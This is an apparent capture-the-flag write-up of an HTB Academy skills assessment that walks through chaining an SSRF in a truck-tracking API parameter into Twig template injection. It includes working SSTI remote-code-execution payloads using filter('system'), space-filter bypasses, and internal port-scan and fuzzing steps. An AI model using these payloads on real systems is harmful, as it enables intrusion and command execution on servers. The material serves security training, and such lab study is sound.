HTB Academy, Penetration Testing, Server Side Attacks, Web Application Penetration Testing

HTB Academy Server Side Attacks Skills Assessment

Walkthrough of the HTB Academy Server Side Attacks Skills Assessment


Server Side Attacks Skills Assessment

Scenario

You are tasked to perform a security assessment of a client's web application. Apply what you have learned in this module to obtain the flag.

Walkthrough

Target: 83.136.251.105:35735

Loading up the page I am greeted with this page

image.png

The links at the top of the page are all dead

I don’t see any locations to inject user input on this page, so there might be other pages

Running feroxbuster to look for other pages

┌──(kali㉿kali)-[~]
└─$ feroxbuster -u http://83.136.251.105:35735 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt  -x "txt,html,php,asp,aspx,jsp" -v -k -q -e -r -t 200

This found the following end point

http://83.136.251.105:35735/index.php

This page seemed to mirror the previous one at just /

Looking at the source code of the page I find a code snippet

image.png

Breaking this snippet down

<script>
		for (var truckID of ["FusionExpress01", "FusionExpress02", "FusionExpress03"]) {
			var xhr = new XMLHttpRequest();
			xhr.open('POST', '/', false);
			xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
			xhr.onreadystatechange = function() {
				if (xhr.readyState === XMLHttpRequest.DONE) {
					var resp = document.getElementById(truckID)
					if (xhr.status === 200) {
						var responseData = xhr.responseText;
						var data = JSON.parse(responseData);
 
						if (data['error']) {
							resp.innerText = data['error'];
						} else {
							resp.innerText = data['location'];
						}
					} else {
						resp.innerText = "Unable to fetch current truck location!"
					}
				}       
			};
			xhr.send('api=http://truckapi.htb/?id' + encodeURIComponent("=" + truckID));
		}
    </script>

This JavaScript snippet is designed to update a webpage with the location data of three specific delivery trucks. It runs directly in the browser (client-side) and communicates with the web server to fetch this data.

There are a couple of things being done here

  • Iterates through a list of three truck IDs.
  • Sends a request for each truck to the current web server (/).
  • Receives a JSON response containing the truck's location.
  • Updates the HTML element on the page corresponding to that truck ID with the location text.

The other big thing here is that there is an API being exposed here.

The ID parameter is also specified so it seems we are being point there

xhr.send('api=http://truckapi.htb/?id' + encodeURIComponent("=" + truckID));
 

Adding this API to my /etc/hosts file

sudo nano /etc/hosts
83.136.251.105 truckingapi.htb

When I attempt to send a post request directly to the API I get an error

image.png

This error alongside seeing in the code that the application is making a request, makes me think I am looking for an SSRF.

Reloading the page while caido had intercept on, the first request is a GET, but once the page loads, we can see the post request come through

image.png

Manipulating the request to attempt to make a call back to a netcat listener I opened failed

image.png

Reflected SSRF Fuzzing for Endpoints

Pointing the API post request back at itself, I do get a response. So there is SSRF and it is not blind since the response is reflected back to me.

image.png

I was getting an error earlier making request externally, now I can try and fuzz for endpoints internally or perform a port scan on the system

Right clicking on that request and sending it to automate in caido. Then highlighting a filler word and adding the .php extension since we know the server is using php files from index.php

image.png

Letting this run for a bit and then using httpql to look for values not equal to the standard response length

httpql query:

resp.len.ne:462

image.png

Fuzzing using the common.txt list didn’t find anything

Fuzzing using the seclist web content medium list didn’t find anything either

Attempting LFI with file:///etc/passwd failed giving the following error

Error (1): Protocol "file" not supported or disabled in libcurl

SSRF Port Scan Attempt

Using the SSRF for a port scan, didn’t identify any ports with a different response other than 3306 which could be interesting given that the MySQL port,

image.png

Now that I’ve explored the port scanning and directory brute forcing route from the SSRF the next logical path is the SSTI one I think given that XML data being sent in the code snippet. It could certainly be a template engine displaying the content above the footer.

<script>
		for (var truckID of ["FusionExpress01", "FusionExpress02", "FusionExpress03"]) {
			var xhr = new XMLHttpRequest();
			xhr.open('POST', '/', false);
			xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
			xhr.onreadystatechange = function() {
				if (xhr.readyState === XMLHttpRequest.DONE) {
					var resp = document.getElementById(truckID)
					if (xhr.status === 200) {
						var responseData = xhr.responseText;
						var data = JSON.parse(responseData);
 
						if (data['error']) {
							resp.innerText = data['error'];
						} else {
							resp.innerText = data['location'];
						}
					} else {
						resp.innerText = "Unable to fetch current truck location!"
					}
				}       
			};
			xhr.send('api=http://truckapi.htb/?id' + encodeURIComponent("=" + truckID));
		}
    </script>

I had to get a fresh post request to work from by refreshing the page and making sure caido was in intercept mode.

image.png

SSRF to SSTI

Sending the SSTI test string, I dont get any data back just a blank 200. Which is a little surprising as I was expecting a 500.

api=http://truckapi.htb/?id=${{<%[%'"}}%\.

image.png

Digging deeper still since it was a change in behavior at least. The template engine identification chart below is being used:

The image is a flowchart showing different template injection payloads and their outcomes.

Running the following query gave me a response that indicates the SSRF does lead to SSTI. The server responded 49 which indicates my query of 7*7 was run

image.png

api=http://truckapi.htb/?id={{7*'7'}}

In the chart, it is not noted, but In Jinja, the result will be 7777777, while in Twig, the result will be 49. This tells us that we have template injection and it is a Twig template engine. Which makes sense given that the other page was using PHP and Twig is a template engine commonly used in PHP web frameworks.

When I tried to run the payload from the module for LFI I got an error, I did for the listing template info payload as well.

The RCE one did work though, when I removed the spaces and ran it

api=http://truckapi.htb/?id={{['id']|filter('system')}}

image.png

Attempting to cat the flag was a bit of a pain

I tried various space bypass filters

Brace expansion didnt work

{cat,flag.txt}

Using the linux environment variable for space didn’t work

cat${LFS}/flag.txt

Trying tabs didn’t work either

cat%09flag.txt

What did end up working was using the hexadecimal value for a space

api=http://truckapi.htb/?id={{['cat\x20/flag.txt']|filter('system')}}

image.png